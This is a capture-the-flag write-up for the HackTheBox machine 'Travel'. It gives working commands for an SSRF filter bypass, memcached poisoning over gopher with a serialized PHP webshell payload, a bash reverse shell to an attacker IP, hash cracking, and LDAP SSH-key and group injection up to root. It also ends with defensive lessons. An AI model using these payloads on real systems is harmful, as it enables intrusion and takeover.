HTB: Travel Writeup

Travel - HackTheBox Writeup

Machine Information

AttributeDetails
NameTravel
OSLinux
DifficultyHard
Points40
Release Date12 Sep 2020
IP Address10.10.10.189
Authorxct & jkr

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Travel is a hard difficulty Linux machine that showcases a sophisticated multi-stage attack chain involving SSRF, memcached cache poisoning, and PHP deserialization. Initial enumeration reveals multiple vhosts including a development server exposing a Git repository. Source code analysis reveals an SSRF vulnerability in a custom WordPress RSS plugin alongside a dangerous PHP deserialization gadget. By leveraging SSRF to inject a malicious serialized object into memcached via the Gopher protocol, we achieve remote code execution on a containerized WordPress instance. Lateral movement to the host is accomplished by cracking a WordPress admin password hash found in a database backup. Finally, privilege escalation exploits LDAP administrative access to inject SSH public keys into user attributes, followed by modifying group membership to gain root access.

TL;DR: Git repo disclosure → SSRF + Gopher protocol → memcached poisoning → PHP deserialization RCE (container) → WordPress hash crack → SSH to host → LDAP admin access → SSH key injection + group escalation → root


Reconnaissance

Port Scanning

Terminal window
# Initial TCP scan for all ports
nmap -p- --min-rate=1000 -T4 10.10.10.189
# Detailed service enumeration on discovered ports
nmap -p22,80,443 -sC -sV 10.10.10.189

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.17.6
443/tcp open ssl/http nginx 1.17.6

Service Enumeration

SSL Certificate Analysis

The SSL certificate on port 443 revealed multiple Subject Alternative Names (SANs), indicating the presence of virtual hosts:

  • travel.htb
  • www.travel.htb
  • blog.travel.htb
  • blog-dev.travel.htb

These were added to /etc/hosts:

Terminal window
echo "10.10.10.189 travel.htb www.travel.htb blog.travel.htb blog-dev.travel.htb" | sudo tee -a /etc/hosts

HTTP/HTTPS Enumeration

travel.htb - Static travel agency website with no apparent vulnerabilities.

blog.travel.htb - WordPress installation with an “Awesome RSS” custom feed feature accessible at /awesome-rss/.

blog-dev.travel.htb - Returns 403 Forbidden, indicating potential hidden content.

Directory Bruteforcing

Terminal window
# Enumerate blog-dev vhost for hidden directories
gobuster dir -u http://blog-dev.travel.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Key Finding: Discovered exposed .git directory at http://blog-dev.travel.htb/.git/

Git Repository Extraction

Terminal window
# Clone git-dumper tool
git clone https://github.com/arthaud/git-dumper
cd git-dumper
# Dump the exposed Git repository
python3 git_dumper.py http://blog-dev.travel.htb/.git/ ./travel-git
# Examine extracted files
cd travel-git
ls -la

Extracted files:

  • README.md - Project documentation
  • rss_template.php - WordPress RSS template implementation
  • template.php - Core template helper classes and functions

Vulnerability Assessment

Identified vulnerabilities:

  1. Exposed Git Repository - Source code disclosure on blog-dev.travel.htb
  2. SSRF (Server-Side Request Forgery) - Weak URL validation in url_get_contents() function
  3. PHP Deserialization - Dangerous TemplateHelper class with __wakeup() magic method
  4. Memcached Access - Internal memcached service accessible via SSRF

Initial Foothold

Source Code Analysis

rss_template.php

This file implements the custom RSS feed functionality:

<?php
function get_feed($url){
require_once ABSPATH . '/wp-includes/class-simplepie.php';
$simplepie = null;
$data = url_get_contents($url); // SSRF vulnerability vector
if ($url) {
$simplepie = new SimplePie();
// Memcached caching with prefix 'xct_'
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
$simplepie->set_feed_url($url);
$simplepie->init();
// ... error handling
}
return $simplepie;
}
// Accepts custom feed URLs via GET parameter
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
$tmp = (explode("=", $url));
$url = end($tmp);
} else {
$url = "http://www.travel.htb/newsfeed/customfeed.xml";
}
$feed = get_feed($url);
?>

Key observations:

  • Custom feed URLs accepted via custom_feed_url parameter
  • Memcached caching at 127.0.0.1:11211 with prefix xct_
  • Data fetched via url_get_contents() function

template.php - SSRF Vulnerability

function safe($url)
{
// Weak security checks
$tmpUrl = urldecode($url);
// Blocks file:// and @ symbol
if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
{
die("<h2>Hacking attempt prevented (LFI).</h2>");
}
// Blocks curl options
if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
{
die("<h2>Hacking attempt prevented (Command Injection).</h2>");
}
$tmp = parse_url($url, PHP_URL_HOST);
// Weak localhost protection - only checks string match
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF).</h2>");
}
return $url;
}
function url_get_contents ($url) {
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url; // Executes curl with user-supplied URL
$output = shell_exec($pl);
return $output;
}

Bypass techniques:

  • The localhost check only validates string literals "localhost" and "127.0.0.1"
  • Can be bypassed using decimal IP notation: 2130706433 (decimal for 127.0.0.1)
  • The gopher:// protocol is not blocked, allowing raw TCP communication

template.php - Deserialization Gadget

class TemplateHelper
{
private $file;
private $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
// Magic method called on deserialization
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
// Writes arbitrary data to logs directory
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}

Exploitation vector:

  • __wakeup() magic method triggers on deserialization
  • Allows arbitrary file write to logs/ directory
  • Can be leveraged to write a PHP webshell

SSRF Testing

Terminal window
# Start HTTP server to verify SSRF
python3 -m http.server 80
# Test SSRF by requesting custom feed URL
curl "http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.X/"

Result: HTTP server receives request, confirming SSRF vulnerability.

Memcached Key Calculation

SimplePie generates cache keys using the following formula:

Terminal window
# Key format: xct_<hash>
# Where hash = md5(md5(feed_url) + ":spc")
echo -n 'http://www.travel.htb/newsfeed/customfeed.xml' | md5sum
# Output: <redacted>
echo -n '<redacted>:spc' | md5sum
# Output: <redacted>
# Final key: xct_4e5612ba079c530a6b1f148c0b352241

Gopher Protocol for Memcached Poisoning

The Gopher protocol allows raw TCP communication, perfect for injecting commands into memcached:

Terminal window
# Gopher syntax for memcached SET command
gopher://127.0.0.1:11211/_<url_encoded_memcached_commands>
# Memcached SET command syntax:
# set <key> <flags> <exptime> <bytes>
# <data>
# Example: set test_key 0 0 4
# test

URL encoding requirements:

  • \r\n%0d%0a
  • Spaces → %20
  • Leading _ after port number

Crafting Malicious Payload

<?php
// Generate malicious serialized object
class TemplateHelper
{
// Must be public for deserialization to work
public $file;
public $data;
public function __construct(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
}
}
// Create object that writes webshell
$payload = new TemplateHelper("shell.php", "<?php system(\$_GET[0]); ?>");
// Serialize and output
echo serialize($payload);
?>

Generated payload:

O:14:"TemplateHelper":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:26:"<?php system($_GET[0]); ?>";}

Payload length: 98 bytes

Memcached Injection via SSRF

Terminal window
# Construct Gopher URL to poison memcached cache key
# Format: set xct_4e5612ba079c530a6b1f148c0b352241 0 0 98
# <serialized_payload>
# URL-encode the memcached commands
gopher://2130706433:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%200%200%2098%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:9:%22shell.php%22%3Bs:4:%22data%22%3Bs:26:%22%3C%3Fphp%20system%28%24_GET%5B0%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a

Breaking down the attack:

  1. Bypass localhost filter: Use 2130706433 (decimal IP for 127.0.0.1)
  2. Protocol: gopher:// for raw memcached communication
  3. Port: 11211 (memcached default)
  4. Command: set xct_4e5612ba079c530a6b1f148c0b352241 0 0 98 - Sets the SimplePie cache key
  5. Payload: Serialized TemplateHelper object that writes shell.php

Exploitation Steps

Terminal window
# Step 1: Poison the memcached cache
curl "http://blog.travel.htb/awesome-rss/?custom_feed_url=gopher://2130706433:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%200%200%2098%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:9:%22shell.php%22%3Bs:4:%22data%22%3Bs:26:%22%3C%3Fphp%20system%28%24_GET%5B0%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a"
# Step 2: Trigger deserialization by requesting the RSS feed with default URL
curl "http://blog.travel.htb/awesome-rss/"
# This forces SimplePie to retrieve and deserialize our poisoned cache entry
# The __wakeup() method executes, writing shell.php to the logs directory
# Step 3: Verify webshell was written
curl "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/shell.php?0=id"

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Why this works:

  1. SimplePie retrieves the feed URL from memcached using the calculated key
  2. The load() method in SimplePie_Cache_Memcached calls unserialize() on the cached data
  3. PHP’s unserialize() instantiates our TemplateHelper object
  4. The __wakeup() magic method automatically executes
  5. file_put_contents() writes our webshell to logs/shell.php

Reverse Shell

Terminal window
# Start netcat listener
nc -lvnp 4444
# Execute reverse shell via webshell
curl -G "http://blog.travel.htb/wp-content/themes/twentytwenty/logs/shell.php" \
--data-urlencode '0=bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1"'

Shell obtained as www-data in a Docker container.


Lateral Movement (Container → Host)

Container Enumeration

Terminal window
# Check container environment
hostname # Returns something like 'blog-container'
ip addr # Shows container network interface
# Search for backup files
find / -name "*backup*" 2>/dev/null
find / -name "*.sql" 2>/dev/null

WordPress Backup Discovery

Terminal window
# Found SQL backup in WordPress directory
ls -la /opt/wordpress/
# -rw-r--r-- 1 root root 8529408 Apr 13 2020 backup-13-04-2020.sql
# Extract password hashes
grep -i "INSERT INTO \`wp_users\`" /opt/wordpress/backup-13-04-2020.sql

Extracted hash:

lynik-admin:$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.

Password Cracking

Terminal window
# Save hash to file
echo '$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.' > lynik.hash
# Crack with John the Ripper
john lynik.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Result: 1stepcloser

Hash type: PHPass (WordPress/Drupal hash format)

SSH Access to Host

Terminal window
# SSH as lynik-admin
ssh lynik-admin@10.10.10.189
# Password: 1stepcloser

User flag obtained:

Terminal window
cat /home/lynik-admin/user.txt

Privilege Escalation

LDAP Enumeration

Terminal window
# Check user's home directory
ls -la ~/
# Found LDAP configuration
cat ~/.ldaprc

Contents:

HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb

Vim History Analysis

Terminal window
# Examine vim history for sensitive data
cat ~/.viminfo

Key finding:

# Registers:
""1 LINE 0
BINDPW Theroadlesstraveled

Why this matters: The .viminfo file stores deleted content from Vim sessions. The LDAP bind password was previously in .ldaprc but was deleted, leaving a trace in .viminfo.

LDAP Container Discovery

Terminal window
# Check network configuration
ip addr
# Shows 172.20.0.1 network
# Scan for LDAP service
ping -c 1 172.20.0.10 # Responds
# LDAP typically runs on port 389
nc -zv 172.20.0.10 389 # Open

LDAP Querying

Terminal window
# Query LDAP with discovered credentials
ldapsearch -x -H ldap://172.20.0.10 -b "dc=travel,dc=htb" \
-D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled"

Key finding in output:

# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: {SSHA}0JaezQ...

Significance: lynik-admin has LDAP administrative privileges, allowing modification of user attributes.

LDAP User Discovery

Terminal window
# List all LDAP users
ldapsearch -x -H ldap://172.20.0.10 -b "dc=travel,dc=htb" \
-D "cn=lynik-admin,dc=travel,dc=htb" -w "Theroadlesstraveled" \
"(objectClass=inetOrgPerson)" cn

Found users:

  • lynik (regular domain user)
  • brian (regular domain user)
  • jerry (regular domain user)

SSH Configuration Analysis

Terminal window
# Check SSH server configuration
cat /etc/ssh/sshd_config

Key settings:

AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys
AuthorizedKeysCommandUser nobody
PasswordAuthentication no
Match User trvl-admin,lynik-admin
PasswordAuthentication yes

Why this matters:

  • SSH retrieves authorized keys via sss_ssh_authorizedkeys from LDAP
  • LDAP attribute sshPublicKey stores SSH public keys
  • We can inject our SSH key into LDAP to authenticate as other users

SSH Key Injection Attack

Terminal window
# Generate SSH key pair
ssh-keygen -t rsa -b 2048 -f travel_key
# Public key: travel_key.pub
# Private key: travel_key
# Read public key
cat travel_key.pub

LDAP Modification - Add SSH Key

Create LDIF file to add SSH key attribute:

Terminal window
cat > add_ssh_key.ldif << 'EOF'
dn: uid=lynik,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... attacker@kali
EOF
# Apply LDIF modification
ldapmodify -x -H ldap://172.20.0.10 \
-D "cn=lynik-admin,dc=travel,dc=htb" \
-w "Theroadlesstraveled" \
-f add_ssh_key.ldif

Why this works:

  1. objectClass: ldapPublicKey enables SSH key storage for the user
  2. sshPublicKey attribute stores the actual public key
  3. SSSD (System Security Services Daemon) queries LDAP for SSH keys
  4. SSH server accepts our injected key for authentication

SSH as lynik

Terminal window
# SSH using injected private key
ssh -i travel_key lynik@10.10.10.189

Note: User lynik has limited privileges and is not in sudoers.

Group Escalation via LDAP

Terminal window
# Check current groups
id lynik
# uid=10000(lynik) gid=10000(lynik) groups=10000(lynik)
# Check sudo group GID
getent group sudo
# sudo:x:27:

Strategy: Modify the gidNumber LDAP attribute to change primary group to sudo (GID 27).

Terminal window
# Create LDIF to change GID
cat > change_gid.ldif << 'EOF'
dn: uid=lynik,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: gidNumber
gidNumber: 27
EOF
# Apply modification
ldapmodify -x -H ldap://172.20.0.10 \
-D "cn=lynik-admin,dc=travel,dc=htb" \
-w "Theroadlesstraveled" \
-f change_gid.ldif

Root Access

Terminal window
# Logout and re-login to apply group changes
exit
# SSH back in
ssh -i travel_key lynik@10.10.10.189
# Verify group membership
id
# uid=10000(lynik) gid=27(sudo) groups=27(sudo)
# Escalate to root
sudo -i
# [sudo] password for lynik: <enter any password>
# (Group membership grants sudo access)
# Alternative: sudo without password if configured
sudo su -

Root flag obtained:

Terminal window
cat /root/root.txt

Attack Chain Summary

Port Scan → SSL vhost discovery
Git repo enumeration (blog-dev.travel.htb/.git)
Source code analysis (SSRF + deserialization gadget)
SSRF bypass (decimal IP 2130706433)
Gopher protocol memcached poisoning (inject serialized payload)
PHP deserialization RCE via SimplePie cache
www-data shell (Docker container)
WordPress backup SQL → lynik-admin hash crack (1stepcloser)
SSH to host as lynik-admin
.viminfo disclosure → LDAP bind password (Theroadlesstraveled)
LDAP admin access → SSH key injection into lynik user
LDAP GID modification → sudo group (GID 27)
Root access via sudo

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
git-dumperExtracting exposed Git repositories
curlHTTP requests and SSRF exploitation
johnCracking PHPass WordPress password hashes
ldapsearchQuerying LDAP directory information
ldapmodifyModifying LDAP user attributes
ssh-keygenGenerating SSH key pairs for injection
ncReverse shell listener

Key Learnings

Techniques Practiced

  • SSRF exploitation with protocol bypass (Gopher) and localhost filter evasion (decimal IP)
  • Memcached manipulation via Gopher protocol for cache poisoning attacks
  • PHP deserialization attacks using magic methods (__wakeup) as gadgets
  • SimplePie cache key calculation to predict and poison specific cache entries
  • LDAP enumeration and exploitation including attribute injection
  • SSH key injection via LDAP sshPublicKey attributes
  • Group-based privilege escalation through LDAP attribute modification
  • Container escape via credential reuse and lateral movement

Lessons Learned

  1. Git repository exposure is critical - Even development servers can leak complete source code and sensitive implementation details through .git directories. Always check for version control artifacts.

  2. SSRF filters must validate comprehensively - Simple string matching for “localhost” and “127.0.0.1” fails against:

    • Decimal IP notation (2130706433)
    • Octal notation (0177.0.0.1)
    • Hexadecimal notation (0x7f.0.0.1)
    • DNS rebinding attacks
  3. Gopher protocol enables powerful SSRF exploitation - The Gopher protocol can interact with plaintext services like memcached, Redis, and SMTP, turning SSRF into much more dangerous attacks.

  4. Deserialization requires careful analysis - The TemplateHelper class became an exploitable gadget because:

    • Magic methods (__wakeup) execute automatically during deserialization
    • The class performed dangerous operations (file_put_contents) without validation
    • Private properties required public exposure in the serialized payload
  5. Cache poisoning is a valid attack vector - Applications caching serialized objects create deserialization attack surfaces, especially when cache keys are predictable or controllable.

  6. Credential reuse between environments is common - The WordPress admin password from the container worked for SSH on the host, demonstrating poor password hygiene in development/production splits.

  7. Vim history files can leak secrets - .viminfo stores command history, search patterns, and deleted content. Always check these auxiliary files for sensitive data that developers may have “deleted.”

  8. LDAP attribute injection is a privilege escalation vector - With LDAP admin rights, attackers can:

    • Inject SSH public keys via sshPublicKey attributes
    • Modify group membership via gidNumber changes
    • Alter password hashes (though authentication may be cached)
  9. SSSD and PAM integration creates unique attack surfaces - Understanding how Linux authentication systems integrate with LDAP reveals non-traditional privilege escalation paths that don’t rely on kernel exploits or SUID binaries.

  10. Defense in depth failed at multiple layers - This machine demonstrated failures in:

    • Source code protection (Git exposure)
    • Input validation (SSRF filters)
    • Secure coding practices (deserialization)
    • Network segmentation (container to host lateral movement)
    • Credential management (password reuse, .viminfo disclosure)
    • Access control (LDAP admin rights allowing privilege escalation)

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup referenced the official HackTheBox writeup for Travel by MinatoTW (Document No D20.100.86) for explanatory details on SimplePie cache key calculation and LDAP attribute exploitation concepts.